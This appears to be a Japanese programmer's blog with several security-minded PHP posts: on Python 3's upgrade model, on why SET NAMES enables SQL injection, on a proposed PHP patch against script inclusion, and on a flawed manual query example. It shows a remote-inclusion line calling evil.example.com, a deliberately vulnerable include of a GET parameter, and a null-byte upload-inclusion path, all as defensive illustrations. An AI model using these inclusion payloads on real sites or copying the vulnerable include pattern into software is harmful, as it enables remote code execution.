カテゴリー: Programming

Python 3000は良いですね。

備考:古いブログですが公開し忘れしてい分です。

PHP5/PHP6の開発もPython 3000 (Python 3.0)のようになれば素晴らしいのですが、難しいでしょうね…

後方互換性は非常に重要です。今まで動いていたプログラムがバージョンアップしたら動かなくなる、と言う事態は開発者であれば誰でも避けたいものです。しかし、後方互換性を重視するあまりツジツマが合わなくなる事がよくあります。時間と共に合わなくなったツジツマはだんだんと大きくなっていきます。最初のうちは合わないツジツマはあった方が良い物ですが、だんだんと使い辛いものなっていきます。

些細な事ですがPHPの場合、古い関数の命名規約は「thisisfunctionname」と単語の区切りを付けないルールでしたが今のルールは「this_is_function_name」と単語を_で区切るルールになっています。この為、システムにデフォルトで含まれる基本的な関数であっても2つの命名規約に則った関数名が使われています。PHPには関数のエイリアス機能があるので新しい命名規約に則った関数名と古い関数名両方が存在しても問題無く利用できる機能があります。にも関わらず新しい命名規約に則った関数は作られていません。(と言うより反対する人がいるので作れなかった)クラス名や関数名も最近の言語に習って大文字・小文字を区別する方が良いと思いますが、これも実現できませんでした。(PHP5開発の際に議論されたが却下)

代わりにPHPプロジェクトが選択している仕様変更の手順はメジャーバージョンアップ、マイナーバージョンの度に徐々に少しずつ仕様を変更していく手順を取っています。strtotimeが失敗した場合の戻り値が-1からfalseに変更されたのもその一例です。

Python 2.xとPython 3.xが描いているようなアップグレードが言語として理想的なアップグレードの一つだと思います。

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。

Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。

PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。

ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。

脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(PostgreSQLのSET CLIENT_ENCODING等も)は禁止」です。

PHPのMySQL:

PHPのPostgreSQL:

PHPのPDO:

<?php
// MySQL
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=sjis',
    'user', 'password'
);

// PostgreSQL
$pdo = new PDO(
    "pgsql:host=yourhost;dbname=yourdb;options='--client_encoding=sjis'"
);

Rails:

config.encoding = 文字コード

 

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

Example 1428. A “Best Practice” query

PHPのマニュアルページで「Example 1428. A “Best Practice” query」と題されたSQL文用の文字列エスケープ処理のサンプルコードがあるのですが、

$query = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%s', %d)",
mysql_real_escape_string($product_name, $link),
mysql_real_escape_string($product_description, $link),
$_POST['user_id']);

mysql_query($query, $link);

この方法はよくないですね… $_POST[‘user_id’]は符号付き32ビット整数だと仮定していて64ビット整数や任意精度整数の場合が考慮されていません。”Best Practice”とするなら整数型と思われるuser_idも文字列として処理し、エスケープしてからmysql_queryに渡すべきだと思います。